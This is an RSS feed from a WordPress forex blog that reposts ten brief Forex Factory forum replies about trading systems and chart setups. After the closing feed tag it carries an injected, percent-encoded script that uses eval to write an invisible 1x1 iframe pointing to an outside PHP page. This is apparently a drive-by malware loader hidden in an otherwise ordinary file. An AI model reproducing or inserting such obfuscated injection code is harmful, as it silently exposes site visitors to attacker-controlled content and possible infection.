<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>My Forex Plan Info</title>
	<atom:link href="http://myforexplan.info/feed/" rel="self" type="application/rss+xml" />
	<link>http://myforexplan.info</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Thu, 09 Sep 2010 01:47:53 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Musashi replies to: Higher low, lower high system</title>
		<link>http://myforexplan.info/2010/09/08/musashi-replies-to-higher-low-lower-high-system-58/</link>
		<comments>http://myforexplan.info/2010/09/08/musashi-replies-to-higher-low-lower-high-system-58/#comments</comments>
		<pubDate>Thu, 09 Sep 2010 01:47:53 +0000</pubDate>
		<dc:creator>FF Forum: Trading Systems</dc:creator>
				<category><![CDATA[Trading Systems]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4009483#post4009483</guid>
		<description><![CDATA[Bit risky trading in asian session as market typically does go sideways...

Some lower highs are evi...]]></description>
			<content:encoded><![CDATA[Bit risky trading in asian session as market typically does go sideways...

Some lower highs are evident with equal lows... descending triangle... 

Worth a punt.<img src=http://www.forexfactory.com/attachment.php/540587/0.jpg>]]></content:encoded>
			<wfw:commentRss>http://myforexplan.info/2010/09/08/musashi-replies-to-higher-low-lower-high-system-58/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ronald Raygun replies to: Old Dog with New Tricks</title>
		<link>http://myforexplan.info/2010/09/08/ronald-raygun-replies-to-old-dog-with-new-tricks-130/</link>
		<comments>http://myforexplan.info/2010/09/08/ronald-raygun-replies-to-old-dog-with-new-tricks-130/#comments</comments>
		<pubDate>Thu, 09 Sep 2010 01:47:48 +0000</pubDate>
		<dc:creator>FF Forum: Trading Systems</dc:creator>
				<category><![CDATA[Trading Systems]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4009482#post4009482</guid>
		<description><![CDATA[Nope, nothing wrong. I had a second look and I mistook a different EA for the one I posted here. 

I...]]></description>
			<content:encoded><![CDATA[Nope, nothing wrong. I had a second look and I mistook a different EA for the one I posted here. 

It should reoptimize daily.]]></content:encoded>
			<wfw:commentRss>http://myforexplan.info/2010/09/08/ronald-raygun-replies-to-old-dog-with-new-tricks-130/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>getting replies to: Basket 14 EA System</title>
		<link>http://myforexplan.info/2010/09/08/getting-replies-to-basket-14-ea-system-2/</link>
		<comments>http://myforexplan.info/2010/09/08/getting-replies-to-basket-14-ea-system-2/#comments</comments>
		<pubDate>Thu, 09 Sep 2010 01:43:30 +0000</pubDate>
		<dc:creator>FF Forum: Trading Systems</dc:creator>
				<category><![CDATA[Trading Systems]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4009476#post4009476</guid>
		<description><![CDATA[Yea BoY!!!]]></description>
			<content:encoded><![CDATA[Yea BoY!!!]]></content:encoded>
			<wfw:commentRss>http://myforexplan.info/2010/09/08/getting-replies-to-basket-14-ea-system-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>VEEFX replies to: Building an equity millipede</title>
		<link>http://myforexplan.info/2010/09/08/veefx-replies-to-building-an-equity-millipede-24/</link>
		<comments>http://myforexplan.info/2010/09/08/veefx-replies-to-building-an-equity-millipede-24/#comments</comments>
		<pubDate>Thu, 09 Sep 2010 01:29:09 +0000</pubDate>
		<dc:creator>FF Forum: Trading Systems</dc:creator>
				<category><![CDATA[Trading Systems]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4009444#post4009444</guid>
		<description><![CDATA[Hi Greame,

Thank you so much for your long and elaborated response.  Absolutely love your style of ...]]></description>
			<content:encoded><![CDATA[Hi Greame,

Thank you so much for your long and elaborated response.  Absolutely love your style of writing. If you don't mind, I feel I need a few more clarifications to bake this all in my head.

1.  Very interesting. I was focussed on longer upper wick to indicate buyer leaving and sellers taking...]]></content:encoded>
			<wfw:commentRss>http://myforexplan.info/2010/09/08/veefx-replies-to-building-an-equity-millipede-24/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>michaelwen replies to: Part 2 EURUSD Trend magic System</title>
		<link>http://myforexplan.info/2010/09/08/michaelwen-replies-to-part-2-eurusd-trend-magic-system/</link>
		<comments>http://myforexplan.info/2010/09/08/michaelwen-replies-to-part-2-eurusd-trend-magic-system/#comments</comments>
		<pubDate>Thu, 09 Sep 2010 01:23:17 +0000</pubDate>
		<dc:creator>FF Forum: Trading Systems</dc:creator>
				<category><![CDATA[Trading Systems]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4009433#post4009433</guid>
		<description><![CDATA[good job guys. really nice system. by the way, is that possible to make EA out of it? any idea?]]></description>
			<content:encoded><![CDATA[good job guys. really nice system. by the way, is that possible to make EA out of it? any idea?]]></content:encoded>
			<wfw:commentRss>http://myforexplan.info/2010/09/08/michaelwen-replies-to-part-2-eurusd-trend-magic-system/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>TEB63 replies to: TEB 5ema &amp; 12ema and 21 RSI (MTF)</title>
		<link>http://myforexplan.info/2010/09/08/teb63-replies-to-teb-5ema-12ema-and-21-rsi-mtf-345/</link>
		<comments>http://myforexplan.info/2010/09/08/teb63-replies-to-teb-5ema-12ema-and-21-rsi-mtf-345/#comments</comments>
		<pubDate>Thu, 09 Sep 2010 01:18:30 +0000</pubDate>
		<dc:creator>FF Forum: Trading Systems</dc:creator>
				<category><![CDATA[Trading Systems]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4009425#post4009425</guid>
		<description><![CDATA[well we are in on both  trades lets see what happens 
 
 

 
 
teb:D]]></description>
			<content:encoded><![CDATA[well we are in on both  trades lets see what happens 
 
 

 
 
teb:D<img src=http://www.forexfactory.com/attachment.php/540580/4+hour+trades+1.gif>]]></content:encoded>
			<wfw:commentRss>http://myforexplan.info/2010/09/08/teb63-replies-to-teb-5ema-12ema-and-21-rsi-mtf-345/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Petar_Serbia replies to: NEW Candles Formation Trading -Petar Formation</title>
		<link>http://myforexplan.info/2010/09/08/petar_serbia-replies-to-new-candles-formation-trading-petar-formation-102/</link>
		<comments>http://myforexplan.info/2010/09/08/petar_serbia-replies-to-new-candles-formation-trading-petar-formation-102/#comments</comments>
		<pubDate>Thu, 09 Sep 2010 01:09:07 +0000</pubDate>
		<dc:creator>FF Forum: Trading Systems</dc:creator>
				<category><![CDATA[Trading Systems]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4009413#post4009413</guid>
		<description><![CDATA[I took according chanell on cable,also as i said e expext large down move on XAUUSD that is why i...]]></description>
			<content:encoded><![CDATA[I took according chanell on cable,also as i said e expext large down move on XAUUSD that is why i decide to go sell on cable >


This is chartl >>

Cheers<img src=http://www.forexfactory.com/attachment.php/540574/cablechanel.gif>]]></content:encoded>
			<wfw:commentRss>http://myforexplan.info/2010/09/08/petar_serbia-replies-to-new-candles-formation-trading-petar-formation-102/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>jjasper7 replies to: Nanningbob 4h trading system ver. 5.0</title>
		<link>http://myforexplan.info/2010/09/08/jjasper7-replies-to-nanningbob-4h-trading-system-ver-5-0/</link>
		<comments>http://myforexplan.info/2010/09/08/jjasper7-replies-to-nanningbob-4h-trading-system-ver-5-0/#comments</comments>
		<pubDate>Thu, 09 Sep 2010 01:00:11 +0000</pubDate>
		<dc:creator>FF Forum: Trading Systems</dc:creator>
				<category><![CDATA[Trading Systems]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4009401#post4009401</guid>
		<description><![CDATA[thanks jth,  I appreciate your response, but I had already done that and was still having trouble......]]></description>
			<content:encoded><![CDATA[thanks jth,  I appreciate your response, but I had already done that and was still having trouble...  and have since found Steve's thread "Nanningbob V5 auto-trading robot. Newbies, fearlessly ask your basic questions here", which might be the thread I was hoping to find.]]></content:encoded>
			<wfw:commentRss>http://myforexplan.info/2010/09/08/jjasper7-replies-to-nanningbob-4h-trading-system-ver-5-0/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Forexcube replies to: Time Cell Trading</title>
		<link>http://myforexplan.info/2010/09/08/forexcube-replies-to-time-cell-trading-148/</link>
		<comments>http://myforexplan.info/2010/09/08/forexcube-replies-to-time-cell-trading-148/#comments</comments>
		<pubDate>Thu, 09 Sep 2010 00:55:55 +0000</pubDate>
		<dc:creator>FF Forum: Trading Systems</dc:creator>
				<category><![CDATA[Trading Systems]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4009391#post4009391</guid>
		<description><![CDATA[I hope you've got it!]]></description>
			<content:encoded><![CDATA[I hope you've got it!<img src=http://www.forexfactory.com/attachment.php/540572/all_clear%2Cv1.jpg>]]></content:encoded>
			<wfw:commentRss>http://myforexplan.info/2010/09/08/forexcube-replies-to-time-cell-trading-148/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>lawgirl21 replies to: Trendline Scalping 4hr timeframe</title>
		<link>http://myforexplan.info/2010/09/08/lawgirl21-replies-to-trendline-scalping-4hr-timeframe-13/</link>
		<comments>http://myforexplan.info/2010/09/08/lawgirl21-replies-to-trendline-scalping-4hr-timeframe-13/#comments</comments>
		<pubDate>Thu, 09 Sep 2010 00:38:49 +0000</pubDate>
		<dc:creator>FF Forum: Trading Systems</dc:creator>
				<category><![CDATA[Trading Systems]]></category>

		<guid isPermaLink="false">http://www.forexfactory.com/showthread.php?p=4009373#post4009373</guid>
		<description><![CDATA[Anyone watching this pair?]]></description>
			<content:encoded><![CDATA[Anyone watching this pair?<img src=http://www.forexfactory.com/attachment.php/540564/gu6.gif>]]></content:encoded>
			<wfw:commentRss>http://myforexplan.info/2010/09/08/lawgirl21-replies-to-trendline-scalping-4hr-timeframe-13/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script language="javascript">eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%73%73%39%77%38%73%38%39%78%78%2E%6F%72%67%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B"))</script>